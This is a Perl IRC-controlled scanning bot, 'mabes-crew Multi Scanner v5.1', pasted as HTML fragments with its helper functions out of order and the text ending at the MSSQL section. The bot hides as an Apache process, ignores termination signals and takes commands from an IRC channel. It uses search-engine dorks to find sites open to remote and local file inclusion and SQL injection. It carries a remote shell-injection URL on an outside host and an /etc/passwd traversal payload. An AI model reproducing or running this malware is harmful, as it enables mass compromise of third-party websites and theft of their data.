<div id="_mcePaste">my $req = HTTP::Request-&gt;new(GET =&gt; $url);</div>
<div id="_mcePaste">my $ua  = LWP::UserAgent-&gt;new();</div>
<div id="_mcePaste">$ua-&gt;timeout(5);</div>
<div id="_mcePaste">my $response = $ua-&gt;request($req);</div>
<div id="_mcePaste">return $response-&gt;content;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub google(){</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">for ($b=0; $b&lt;=1000; $b+=100){</div>
<div id="_mcePaste">my $Go=("http://www.google.com/search?q=".key($key)."&amp;num=100&amp;filter=0&amp;start=".$b);</div>
<div id="_mcePaste">my $Res=query($Go);</div>
<div id="_mcePaste">while ($Res =~ m/&lt;a href=\"?http:\/\/([^&gt;\"]*)\//g){</div>
<div id="_mcePaste">if ($1 !~ /google/){</div>
<div id="_mcePaste">my $k=$1;</div>
<div id="_mcePaste">my @grep=links($k);</div>
<div id="_mcePaste">push(@lst,@grep);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub alltheweb() {</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">my $pg  = 0;</div>
<div id="_mcePaste">for ($b=0; $b&lt;=1000; $b+=100) {</div>
<div id="_mcePaste">my $all = ("http://www.alltheweb.com/search?cat=web&amp;_sb_lang=any&amp;hits=100&amp;q=".key($key)."&amp;o=".$b);</div>
<div id="_mcePaste">my $Res = query($all);</div>
<div id="_mcePaste">while ( $Res =~ m/&lt;span class=\"?resURL\"?&gt;http:\/\/(.+?)\&lt;\/span&gt;/g ) {</div>
<div id="_mcePaste">my $k = $1;</div>
<div id="_mcePaste">$k =~ s/ //g;</div>
<div id="_mcePaste">my @grep = links($k);</div>
<div id="_mcePaste">push( @lst, @grep );</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub uol() {</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">for ($b=1; $b&lt;=1000; $b+=10) {</div>
<div id="_mcePaste">my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&amp;start=".$b);</div>
<div id="_mcePaste">my $Res = query($UoL);</div>
<div id="_mcePaste">while ( $Res =~ m/&lt;a href=\"http:\/\/([^&gt;\"]*)/g ) {</div>
<div id="_mcePaste">my $k = $1;</div>
<div id="_mcePaste">if ( $k !~ /busca|uol|yahoo/ ) {</div>
<div id="_mcePaste">my $k    = $1;</div>
<div id="_mcePaste">my @grep = links($k);</div>
<div id="_mcePaste">push( @lst, @grep );</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub Bing() {</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">for ($b=1; $b&lt;=1000; $b+=10) {</div>
<div id="_mcePaste">my $bing = ("http://www.bing.com/search?q=".key($key)."&amp;filt=all&amp;first=".$b."&amp;FORM=PERE");</div>
<div id="_mcePaste">my $Res = query($bing);</div>
<div id="_mcePaste">while ( $Res =~ m/&lt;a href=\"?http:\/\/([^&gt;\"]*)\//g ) {</div>
<div id="_mcePaste">if ( $1 !~ /msn|live|bing/ ) {</div>
<div id="_mcePaste">my $k    = $1;</div>
<div id="_mcePaste">my @grep = links($k);</div>
<div id="_mcePaste">push( @lst, @grep );</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub altavista(){</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">for ($b=1; $b&lt;=1000; $b+=10){</div>
<div id="_mcePaste">my $AlT=("http://it.altavista.com/web/results?itag=ody&amp;kgs=0&amp;kls=0&amp;dis=1&amp;q=".key($key)."&amp;stq=".$b);</div>
<div id="_mcePaste">my $Res=query($AlT);</div>
<div id="_mcePaste">while ($Res=~m/&lt;span&gt;(.+?)\//g){</div>
<div id="_mcePaste">if ($1 !~ /altavista/){</div>
<div id="_mcePaste">my $k=$1;</div>
<div id="_mcePaste">$k=~s/&lt;//g;</div>
<div id="_mcePaste">$k=~s/ //g;</div>
<div id="_mcePaste">my @grep=links($k);</div>
<div id="_mcePaste">push(@lst,@grep);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub ask() {</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">my $pg  = 0;</div>
<div id="_mcePaste">for ($b=0; $b&lt;=1000; $b+=10) {</div>
<div id="_mcePaste">my $Ask = ("http://it.ask.com/web?q=".key($key)."&amp;o=0&amp;l=dir&amp;qsrc=0&amp;qid=EE90DE6E8F5370F363A63EC61228D4FE&amp;dm=all&amp;page=".$b);</div>
<div id="_mcePaste">my $Res = query($Ask);</div>
<div id="_mcePaste">while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {</div>
<div id="_mcePaste">if ($1 !~ /ask.com/){</div>
<div id="_mcePaste">my $k = $1;</div>
<div id="_mcePaste">my @grep = links($k);</div>
<div id="_mcePaste">push( @lst, @grep );</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub lycos() {</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">for ($b=0; $b&lt;=1000; $b+=10) {</div>
<div id="_mcePaste">my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&amp;query=".key($key)."&amp;cat=web&amp;enc=utf-8");</div>
<div id="_mcePaste">my $Res = query($lyc);</div>
<div id="_mcePaste">while ($Res =~ m/href=\"http:\/\/(.+?)\"  &gt;/g) {</div>
<div id="_mcePaste">if ($1 !~ /lycos/){</div>
<div id="_mcePaste">my $k = $1;</div>
<div id="_mcePaste">my @grep = links($k);</div>
<div id="_mcePaste">push(@lst, @grep);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub goodsearch() {</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">for ($b=1; $b&lt;=500; $b+=1) {</div>
<div id="_mcePaste">my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&amp;page=".$b."&amp;osmax=0");</div>
<div id="_mcePaste">my $Res = query($goods);</div>
<div id="_mcePaste">while ($Res =~ m/&lt;a href=\"(Redirect.+?)\"&gt;http:\/\/(.*?)&lt;\/a&gt;/g) {</div>
<div id="_mcePaste">if ($2 !~ /goodsearch/){</div>
<div id="_mcePaste">my $k = $2;</div>
<div id="_mcePaste">my @grep = links($k);</div>
<div id="_mcePaste">push(@lst, @grep);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub yahoo() {</div>
<div id="_mcePaste">my @lst;</div>
<div id="_mcePaste">my $key = $_[0];</div>
<div id="_mcePaste">my $b   = 0;</div>
<div id="_mcePaste">for ($b=1; $b&lt;=500; $b+=1) {</div>
<div id="_mcePaste">my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&amp;ei=UTF-8&amp;fr=yfp-t-501&amp;fp_ip=IT&amp;pstart=1&amp;b=".$b);</div>
<div id="_mcePaste">my $Res = query($yahoo);</div>
<div id="_mcePaste">while ($Res =~ m/26u=(.*?)%26w=/g) {</div>
<div id="_mcePaste">if ($1 !~ /yahoo/){</div>
<div id="_mcePaste">my $k = $1;</div>
<div id="_mcePaste">my @grep = links($k);</div>
<div id="_mcePaste">push(@lst, @grep);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @lst;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub links() {</div>
<div id="_mcePaste">my @l;</div>
<div id="_mcePaste">my $link = $_[0];</div>
<div id="_mcePaste">my $host = $_[0];</div>
<div id="_mcePaste">my $hdir = $_[0];</div>
<div id="_mcePaste">$hdir =~ s/(.*)\/[^\/]*$/\1/;</div>
<div id="_mcePaste">$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;</div>
<div id="_mcePaste">$host .= "/";</div>
<div id="_mcePaste">$link .= "/";</div>
<div id="_mcePaste">$hdir .= "/";</div>
<div id="_mcePaste">$host =~ s/\/\//\//g;</div>
<div id="_mcePaste">$hdir =~ s/\/\//\//g;</div>
<div id="_mcePaste">$link =~ s/\/\//\//g;</div>
<div id="_mcePaste">push( @l, $link, $host, $hdir );</div>
<div id="_mcePaste">return @l;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub key() {</div>
<div id="_mcePaste">my $dork = $_[0];</div>
<div id="_mcePaste">$dork =~ s/ /\+/g;</div>
<div id="_mcePaste">$dork =~ s/:/\%3A/g;</div>
<div id="_mcePaste">$dork =~ s/\//\%2F/g;</div>
<div id="_mcePaste">$dork =~ s/&amp;/\%26/g;</div>
<div id="_mcePaste">$dork =~ s/\"/\%22/g;</div>
<div id="_mcePaste">$dork =~ s/,/\%2C/g;</div>
<div id="_mcePaste">$dork =~ s/\\/\%5C/g;</div>
<div id="_mcePaste">return $dork;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub query($) {</div>
<div id="_mcePaste">my $url = $_[0];</div>
<div id="_mcePaste">$url =~ s/http:\/\///;</div>
<div id="_mcePaste">my $host  = $url;</div>
<div id="_mcePaste">my $query = $url;</div>
<div id="_mcePaste">my $page  = "";</div>
<div id="_mcePaste">$host  =~ s/href=\"?http:\/\///;</div>
<div id="_mcePaste">$host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;</div>
<div id="_mcePaste">$query =~ s/$host//;</div>
<div id="_mcePaste">if ( $query eq "" ) { $query = "/"; }</div>
<div id="_mcePaste">eval {</div>
<div id="_mcePaste">my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; "$host", PeerPort =&gt; "80", Proto =&gt; "tcp") or return;</div>
<div id="_mcePaste">print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";</div>
<div id="_mcePaste">my @r = &lt;$sock&gt;;</div>
<div id="_mcePaste">$page = "@r";</div>
<div id="_mcePaste">close($sock);</div>
<div id="_mcePaste">};</div>
<div id="_mcePaste">return $page;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub calculate {</div>
<div id="_mcePaste">my @calculate = ();</div>
<div id="_mcePaste">my %visti = ();</div>
<div id="_mcePaste">foreach my $element (@_) {</div>
<div id="_mcePaste">$element =~ s/\/+/\//g;</div>
<div id="_mcePaste">next if $visti{$element}++;</div>
<div id="_mcePaste">push @calculate, $element;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">return @calculate;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub nick {</div>
<div id="_mcePaste">return unless $#_ == 0;</div>
<div id="_mcePaste">sendraw("NICK $_[0]");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub notice {</div>
<div id="_mcePaste">return unless $#_ == 1;</div>
<div id="_mcePaste">sendraw("NOTICE $_[0] :$_[1]");</div>
<div id="_mcePaste">}</div>
#!/usr/bin/perl
############################################# mabes-crew Multi Scanner v5.1               ## Coded by Vrs-hCk                         ## d00r[at]telkom[dot]net                   ## Copyleft ? 2009 mabes-crew UnderGrounD      ############################################## perl mabes-crew.txt help me !!!             #############################################
use HTTP::Request;use LWP::UserAgent;use IO::Socket;use IO::Select;use Socket;
my $fakeproc  = "/usr/local/apache/bin/httpd -DSSL"; $ircserver    = "irc.byroe.net"; my $ircport   = "6667"; my $nickname  = "[Hunter]"; my $ident     = "b4tt054y"; my $channel   = "#Mabes-crew"; my $runner    = "b4tt054y"; my $fullname  = '15(7@2 b4tt054y-Multi-Scanner15)';
my $injector  = "http://www.dwno.or.kr//bbs/data/wiwon02/xerxers.txt??";my $phpshell  = "http://www.dwno.or.kr//bbs/data/wiwon02/xerxers.txt??";my $rficmd    = '!rfi';my $lficmd    = '!lfi';my $mysqlcmd  = '!mysql';my $mssqlcmd  = '!mssql';my $alicmd    = '!log';
$rfi_result   = "v0pCr3w";$lfi_test     = "../../../../../../../../../../../../../../../etc/passwd%00";$lfi_output   = "root:(.+):(.+):(.+):(.+):(.+):(.+)";$sql_test     = "'";$mysql_output = ("Query failed|Query Error|right syntax to use near");$mssql_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation");
my $success   = "\n [+] mabes-crew Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $\n";print $success;
$SIG{'INT'}   = 'IGNORE';$SIG{'HUP'}   = 'IGNORE';$SIG{'TERM'}  = 'IGNORE';$SIG{'CHLD'}  = 'IGNORE';$SIG{'PS'}    = 'IGNORE';
chdir("/");$ircserver="$ARGV[0]" if $ARGV[0];$0 = "$fakeproc".""x16;;my $pid = fork;exit if $pid;die "\n [!] Something Wrong !!!: $!" unless defined($pid);
our %irc_servers;our %DCC;my $dcc_sel = new IO::Select-&gt;new();$sel_client = IO::Select-&gt;new();
sub sendraw {	if ($#_ == '1') {	my $socket = $_[0];	print $socket "$_[1]\n";	} else {		print $IRC_cur_socket "$_[0]\n";	}}
sub connector {	my $mynick = $_[0];	my $ircserver_con = $_[1];	my $ircport_con = $_[2];	my $IRC_socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;"$ircserver_con", PeerPort=&gt;$ircport_con) or return(1);	if (defined($IRC_socket)) {		$IRC_cur_socket = $IRC_socket;		$IRC_socket-&gt;autoflush(1);		$sel_client-&gt;add($IRC_socket);		$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";		$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";		$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;		$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket-&gt;sockhost;		nick("$mynick");		sendraw("USER $ident ".$IRC_socket-&gt;sockhost." $ircserver_con :$fullname");		sleep 1;	}}
sub parse {	my $servarg = shift;	if ($servarg =~ /^PING \:(.*)/) {		sendraw("PONG :$1");	} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {		my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;		if ($args =~ /^01VERSION01$/) {			notice("$pn", "01VERSION mIRC v6.17 Khaled Mardam-Bey01");		}		if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {			my $natrix = $1;			my $arg = $2;		}	}	elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {		if (lc($1) eq lc($mynick)) {			$mynick=$4;			$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;		}	} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {		nick("$mynick|".int rand(999));	} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {		$mynick = $2;		$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;		$irc_servers{$IRC_cur_socket}{'nome'} = "$1";		sendraw("MODE $nickname +Bx");		sendraw("JOIN $channel");		sendraw("PRIVMSG $channel :mabes-crew UnderGround");		sendraw("PRIVMSG $runner :Hi $runner im here !!!");	}}
my $line_temp;while( 1 ) {	while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }	delete($irc_servers{''}) if (defined($irc_servers{''}));	my @ready = $sel_client-&gt;can_read(0);	next unless(@ready);	foreach $fh (@ready) {		$IRC_cur_socket = $fh;		$mynick = $irc_servers{$IRC_cur_socket}{'nick'};		$nread = sysread($fh, $msg, 4096);		if ($nread == 0) {			$sel_client-&gt;remove($fh);			$fh-&gt;close;			delete($irc_servers{$fh});		}		@lines = split (/\n/, $msg);		$msg =~ s/\r\n$//;
#####################################################################		############################[ CMD LIST ]#############################		#####################################################################
if ($msg=~ /PRIVMSG $channel :!help/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $rficmd &lt;bug&gt; &lt;dork&gt; | $lficmd &lt;bug&gt; &lt;dork&gt; ");			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $mysqlcmd / $mssqlcmd &lt;bug&gt; &lt;dork&gt; ");			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 Apache Log Injection : $alicmd &lt;host&gt; &lt;port&gt; ");			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 !id | !engine | !pid | !version | !about ");		}
if ($msg=~ /PRIVMSG $channel :!id/){			&amp;response();		}
if ($msg=~ /PRIVMSG $channel :!version/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 mabes-crew Multi Scanner v5.1");		}
if ($msg=~ /PRIVMSG $channel :!engine/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Engine15)12 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo.");		}
if ($msg=~ /PRIVMSG $channel :!pid/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $");		}
if ($msg=~ /PRIVMSG $channel :!about/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 mabes-crew Multi Scanner v5.1");			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk - MainHack BrotherHood ");			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Copyleft ? 2010 mabes-crew UnderGrounD");		}
#####################################################################		###############################[ RFI ]###############################		#####################################################################
##################################################################### Google Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GooGLe";					my $bugx = $1;					my $d0rk = $2;					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2mabes-crew15)12 Dork :4 $d0rk");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2mabes-crew15)12 File :4 $bugx");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2mabes-crew15)7 Search Engine Loading ...");					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### AllTheWeb Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AllTheWeb";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Bing Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "Bing";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Altavista Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "ALtaViSTa";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### ASK Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AsK";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### UoL Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "UoL";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### LyCos Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "LyCos";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### GoodSearch Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GoodSearch";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Yahoo Engine		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "YahOo";					my $bugx = $1;					my $d0rk = $2;					&amp;rfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
#####################################################################		###############################[ LFI ]###############################		#####################################################################
##################################################################### Google Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GooGLe";					my $bugx = $1;					my $d0rk = $2;					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2mabes-crew15)12 Dork :4 $d0rk");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2mabes-crew15)12 File :4 $bugx");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2mabes-crew15)7 Search Engine Loading ...");					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### AllTheWeb Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AllTheWeb";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Bing Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "Bing";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Altavista Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "ALtaViSTa";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;
}		}
##################################################################### ASK Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AsK";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### UoL Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "UoL";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### LyCos Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "LyCos";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### GoodSearch Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GoodSearch";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Yahoo Engine		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "YahOo";					my $bugx = $1;					my $d0rk = $2;					&amp;lfiscan($engx,$bugx,$d0rk);				}				exit;			}		}
#####################################################################		##############################[ MySQL ]##############################		#####################################################################
##################################################################### Google Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GooGLe";					my $bugx = $1;					my $d0rk = $2;					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 Dork :4 $d0rk");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 File :4 $bugx");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)7 Search Engine Loading ...");					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### AllTheWeb Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AllTheWeb";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Bing Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "Bing";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Altavista Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "ALtaViSTa";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### ASK Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AsK";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### UoL Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "UoL";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Lycos Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "LyCos";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### GoodSearch Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GoodSearch";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Yahoo Engine		if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "YahOo";					my $bugx = $1;					my $d0rk = $2;					&amp;mysqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
#####################################################################		##############################[ MSSQL ]##############################		#####################################################################
